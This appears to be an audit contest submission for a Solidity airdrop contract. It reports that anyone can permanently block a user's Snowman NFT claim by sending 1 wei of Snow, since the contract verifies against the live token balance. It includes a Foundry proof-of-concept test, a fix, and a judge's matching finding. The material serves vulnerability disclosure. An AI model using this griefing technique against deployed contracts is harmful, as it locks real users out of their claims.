Snowman Merkle Airdrop

AI First Flight #10
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: medium
Valid

Griefing by Balance Manipulation in AirdropClaim

Root + Impact

Anyone can permanently block a specific user from claiming their Snowman NFT by sending them 1 wei of the Snow token, causing the claim transaction to always revert.

Description

  • Normally, users claim their Snowman NFT by providing a valid Merkle proof and a signature that matches their address and current Snow token balance. The contract calculates the amount from the user's live token balance, then uses it to verify both the signature and the Merkle proof.

  • The problem is that the claim function uses i_snow.balanceOf(receiver) to determine the amount for both the signature verification and the Merkle leaf calculation. Because anyone can transfer arbitrary amounts of Snow tokens to any address, an attacker can slightly alter a victim's balance before they claim. This changes the amount used in the signature digest and Merkle leaf, causing both verifications to fail permanently.

function claimSnowman(address receiver, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s)
external
nonReentrant
{
if (receiver == address(0)) {
revert SA__ZeroAddress();
}
if (i_snow.balanceOf(receiver) == 0) { // @> checks current balance
revert SA__ZeroAmount();
}
if (!_isValidSignature(receiver, getMessageHash(receiver), v, r, s)) { // @> getMessageHash also uses current balance
revert SA__InvalidSignature();
}
uint256 amount = i_snow.balanceOf(receiver); // @> amount = current balance
bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(receiver, amount)))); // @> leaf uses current balance
if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) { // @> proof verification fails if balance changed
revert SA__InvalidProof();
}
i_snow.safeTransferFrom(receiver, address(this), amount);
s_hasClaimedSnowman[receiver] = true;
emit SnowmanClaimedSuccessfully(receiver, amount);
i_snowman.mintSnowman(receiver, amount);
}

Risk

Likelihood:High

  • This will occur every time an attacker sends any positive amount of Snow tokens to a user who hasn't claimed yet

  • The attack requires only a single transaction with negligible cost (1 wei)

  • Any user with a non-zero Snow balance is a potential victim

Impact:High

  • The victim is permanently unable to claim their Snowman NFT

  • The attacker does not profit financially, but griefs the victim effectively (Griefing DoS)

  • The victim's Snow tokens remain locked in their wallet (the contract never pulls them)

  • No way to recover unless the contract is redeployed with a new Merkle root

Proof of Concept

MockSnow: A simple ERC20 contract with an additional mint function for distributing tokens in the test.

MockSnowman: An ERC721 contract with a mintSnowman function that performs NFT manipulation (ignoring the amount for simplicity).

The test proceeds as follows: approvals, signatures, attack, Alice's failed attempt (due to a signature error), Bob's success, and final verification.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import "forge-std/Test.sol";
import "../src/SnowmanAirdrop.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
// ========== Mock Contracts ==========
contract MockSnow is ERC20 {
constructor() ERC20("Mock Snow", "MSNOW") {}
function mint(address to, uint256 amount) external {
_mint(to, amount);
}
}
contract MockSnowman is ERC721 {
uint256 private _nextTokenId;
constructor() ERC721("Mock Snowman", "MSMAN") {}
function mintSnowman(address to, uint256 amount) external {
_safeMint(to, _nextTokenId++);
}
}
// ========== الاختبار الفعلي ==========
contract SnowmanAirdropTest is Test {
SnowmanAirdrop public airdrop;
MockSnow public snow;
MockSnowman public snowman;
// Privat key for users
uint256 alicePrivateKey = 0xA11CE;
uint256 bobPrivateKey = 0xB0B;
uint256 malloryPrivateKey = 0xBAD;
address alice = vm.addr(alicePrivateKey);
address bob = vm.addr(bobPrivateKey);
address mallory = vm.addr(malloryPrivateKey);
uint256 constant INITIAL_AMOUNT = 100 ether;
bytes32 public leafAlice;
bytes32 public leafBob;
bytes32 public merkleRoot;
function setUp() public {
snow = new MockSnow();
snowman = new MockSnowman();
snow.mint(alice, INITIAL_AMOUNT);
snow.mint(bob, INITIAL_AMOUNT);
snow.mint(mallory, 1000 ether);
leafAlice = keccak256(bytes.concat(keccak256(abi.encode(alice, INITIAL_AMOUNT))));
leafBob = keccak256(bytes.concat(keccak256(abi.encode(bob, INITIAL_AMOUNT))));
bytes32[] memory leaves = new bytes32[](2);
leaves[0] = leafAlice;
leaves[1] = leafBob;
if (leaves[0] > leaves[1]) {
(leaves[0], leaves[1]) = (leaves[1], leaves[0]);
}
merkleRoot = keccak256(abi.encodePacked(leaves[0], leaves[1]));
// نشر Airdrop
airdrop = new SnowmanAirdrop(merkleRoot, address(snow), address(snowman));
}
function getProofFor(address account) internal view returns (bytes32[] memory proof) {
bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(account, INITIAL_AMOUNT))));
bytes32 otherLeaf = (account == alice) ? leafBob : leafAlice;
proof = new bytes32[](1);
proof[0] = otherLeaf;
}
function signClaim(address account, uint256 privateKey) internal returns (uint8 v, bytes32 r, bytes32 s) {
bytes32 digest = airdrop.getMessageHash(account);
return vm.sign(privateKey, digest);
}
// اختبار إثبات الثغرة
function testGriefingViaBalanceChange() public {
// الموافقات
vm.prank(alice);
snow.approve(address(airdrop), INITIAL_AMOUNT);
vm.prank(bob);
snow.approve(address(airdrop), INITIAL_AMOUNT);
// توقيعات Alice و Bob (قبل الهجوم)
(uint8 vAlice, bytes32 rAlice, bytes32 sAlice) = signClaim(alice, alicePrivateKey);
(uint8 vBob, bytes32 rBob, bytes32 sBob) = signClaim(bob, bobPrivateKey);
// الهجوم: Mallory يرسل 1 wei إلى Alice
vm.prank(mallory);
snow.transfer(alice, 1);
// محاولة Alice الفاشلة
bytes32[] memory proofAlice = getProofFor(alice);
vm.expectRevert(abi.encodeWithSelector(SnowmanAirdrop.SA__InvalidSignature.selector));
vm.prank(alice);
airdrop.claimSnowman(alice, proofAlice, vAlice, rAlice, sAlice);
// محاولة Bob الناجحة
bytes32[] memory proofBob = getProofFor(bob);
vm.prank(bob);
airdrop.claimSnowman(bob, proofBob, vBob, rBob, sBob);
// التحقق من النتائج
assertEq(snowman.balanceOf(bob), 1);
assertEq(snow.balanceOf(bob), 0);
assertEq(snow.balanceOf(address(airdrop)), INITIAL_AMOUNT);
assertEq(snowman.balanceOf(alice), 0);
assertEq(snow.balanceOf(alice), INITIAL_AMOUNT + 1); // زاد بمقدار 1 wei من الهجوم
}
}

Recommended Mitigation

Pass the claim amount as a parameter and verify it against the Merkle root instead of using the live balanceOf. The signature should also commit to this amount.

function claimSnowman(
address receiver,
bytes32[] calldata merkleProof,
uint8 v,
bytes32 r,
- bytes32 s
+ bytes32 s,
+ uint256 amount
) external nonReentrant {
if (receiver == address(0)) {
revert SA__ZeroAddress();
}
- if (i_snow.balanceOf(receiver) == 0) {
- revert SA__ZeroAmount();
- }
+ if (amount == 0) {
+ revert SA__ZeroAmount();
+ }
- if (!_isValidSignature(receiver, getMessageHash(receiver), v, r, s)) {
+ bytes32 digest = _hashTypedDataV4(
+ keccak256(abi.encode(MESSAGE_TYPEHASH, SnowmanClaim({receiver: receiver, amount: amount})))
+ );
+ if (!_isValidSignature(receiver, digest, v, r, s)) {
revert SA__InvalidSignature();
}
- uint256 amount = i_snow.balanceOf(receiver);
bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(receiver, amount))));
if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) {
revert SA__InvalidProof();
}
+ // Optional: ensure user still has at least the claimed amount
+ if (i_snow.balanceOf(receiver) < amount) {
+ revert SA__InsufficientBalance();
+ }
i_snow.safeTransferFrom(receiver, address(this), amount);
s_hasClaimedSnowman[receiver] = true;
emit SnowmanClaimedSuccessfully(receiver, amount);
i_snowman.mintSnowman(receiver, amount);
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 7 days ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-01] DoS to a user trying to claim a Snowman

# Root + Impact ## Description * Users will approve a specific amount of Snow to the SnowmanAirdrop and also sign a message with their address and that same amount, in order to be able to claim the NFT * Because the current amount of Snow owned by the user is used in the verification, an attacker could forcefully send Snow to the receiver in a front-running attack, to prevent the receiver from claiming the NFT.&#x20; ```Solidity function getMessageHash(address receiver) public view returns (bytes32) { ... // @audit HIGH An attacker could send 1 wei of Snow token to the receiver and invalidate the signature, causing the receiver to never be able to claim their Snowman uint256 amount = i_snow.balanceOf(receiver); return _hashTypedDataV4( keccak256(abi.encode(MESSAGE_TYPEHASH, SnowmanClaim({receiver: receiver, amount: amount}))) ); ``` ## Risk **Likelihood**: * The attacker must purchase Snow and forcefully send it to the receiver in a front-running attack, so the likelihood is Medium **Impact**: * The impact is High as it could lock out the receiver from claiming forever ## Proof of Concept The attack consists on Bob sending an extra Snow token to Alice before Satoshi claims the NFT on behalf of Alice. To showcase the risk, the extra Snow is earned for free by Bob. ```Solidity function testDoSClaimSnowman() public { assert(snow.balanceOf(alice) == 1); // Get alice's digest while the amount is still 1 bytes32 alDigest = airdrop.getMessageHash(alice); // alice signs a message (uint8 alV, bytes32 alR, bytes32 alS) = vm.sign(alKey, alDigest); vm.startPrank(bob); vm.warp(block.timestamp + 1 weeks); snow.earnSnow(); assert(snow.balanceOf(bob) == 2); snow.transfer(alice, 1); // Alice claim test assert(snow.balanceOf(alice) == 2); vm.startPrank(alice); snow.approve(address(airdrop), 1); // satoshi calls claims on behalf of alice using her signed message vm.startPrank(satoshi); vm.expectRevert(); airdrop.claimSnowman(alice, AL_PROOF, alV, alR, alS); } ``` ## Recommended Mitigation Include the amount to be claimed in both `getMessageHash` and `claimSnowman` instead of reading it from the Snow contract. Showing only the new code in the section below ```Python function claimSnowman(address receiver, uint256 amount, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s) external nonReentrant { ... bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(receiver, amount)))); if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) { revert SA__InvalidProof(); } // @audit LOW Seems like using the ERC20 permit here would allow for both the delegation of the claim and the transfer of the Snow tokens in one transaction i_snow.safeTransferFrom(receiver, address(this), amount); // send ... } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!